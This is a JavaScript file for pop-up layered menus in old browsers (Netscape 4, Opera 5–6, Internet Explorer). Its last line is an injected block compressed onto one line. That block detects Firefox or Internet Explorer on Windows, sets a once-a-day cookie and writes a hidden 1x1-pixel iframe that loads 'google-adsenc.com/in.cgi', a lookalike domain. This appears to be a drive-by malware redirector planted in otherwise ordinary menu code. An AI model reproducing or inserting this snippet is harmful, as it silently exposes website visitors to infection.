
DOM = (document.getElementById) ? 1 : 0;
NS4 = (document.layers) ? 1 : 0;
IE4 = (document.all) ? 1 : 0;
var loaded = 0;   // to avoid stupid errors of Microsoft browsers
Opera5 = (navigator.userAgent.indexOf("Opera 5") > -1 || navigator.userAgent.indexOf("Opera/5") > -1 || navigator.userAgent.indexOf("Opera 6") > -1 || navigator.userAgent.indexOf("Opera/6") > -1) ? 1 : 0;

// it works with NS4, Mozilla, NS6, Opera 5 and 6, IE
currentY = -1;
function grabMouse(e) {
   if ((DOM && !IE4) || Opera5) {
      currentY = e.clientY;
   } else if (NS4) {
      currentY = e.pageY;
   } else {
      currentY = event.y;
   }
   if (DOM && !IE4 && !Opera5) {
      currentY += window.pageYOffset;
   } else if (IE4 && DOM && !Opera5) {
      currentY += document.body.scrollTop;
   }
}
if ((DOM || NS4) && !IE4) {
   document.captureEvents(Event.MOUSEDOWN | Event.MOUSEMOVE);
}
document.onmousemove = grabMouse;

function popUp(menuName,on) {
   if (loaded) {   // to avoid stupid errors of Microsoft browsers
      if (on) {
//         moveLayers();
         if (DOM) {
            document.getElementById(menuName).style.visibility = "visible";
         } else if (NS4) {
            document.layers[menuName].visibility = "show";
         } else {
            document.all[menuName].style.visibility = "visible";
         }
      } else {
         if (DOM) {
            document.getElementById(menuName).style.visibility = "hidden";
         } else if (NS4) {
            document.layers[menuName].visibility = "hide";
         } else {
            document.all[menuName].style.visibility = "hidden";
         }
      }
   }
}

function setleft(layer,x) {
   if (DOM) {
      document.getElementById(layer).style.left = x;
   } else if (NS4) {
      document.layers[layer].left = x;
   } else {
      document.all[layer].style.pixelLeft = x;
   }
}

function settop(layer,y) {
   if (DOM) {
      document.getElementById(layer).style.top = y;
   } else if (NS4) {
      document.layers[layer].top = y;
   } else {
      document.all[layer].style.pixelTop = y;
   }
}

function setwidth(layer,w) {
   if (DOM) {
      document.getElementById(layer).style.width = w;
   } else if (NS4) {
//      document.layers[layer].width = w;
   } else {
      document.all[layer].style.pixelWidth = w;
   }
}

function moveLayerY(menuName, ordinata) {
if (loaded) {   // to avoid stupid errors of Microsoft browsers
//alert (ordinata);
// Konqueror: ordinata = -1 according to the initialization currentY = -1
// Opera: isNaN(ordinata), currentY is NaN, it seems that Opera ignores the initialization currentY = -1
if (ordinata != -1 && !isNaN(ordinata)) {   // The browser has detected the mouse position
if (DOM) {
// attenzione a "px" !!!
   appoggio = parseInt(document.getElementById(menuName).style.top);
   if (isNaN(appoggio)) appoggio = 0;
   if (Math.abs(appoggio + ordinata_margin - ordinata) > thresholdY)
      document.getElementById(menuName).style.top = ordinata - ordinata_margin;
} else if (NS4) {
   if (Math.abs(document.layers[menuName].top + ordinata_margin - ordinata) > thresholdY)
      document.layers[menuName].top = ordinata - ordinata_margin;
} else {
   if (Math.abs(document.all[menuName].style.pixelTop + ordinata_margin - ordinata) > thresholdY)
      document.all[menuName].style.pixelTop = ordinata - ordinata_margin;
}
}
}
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
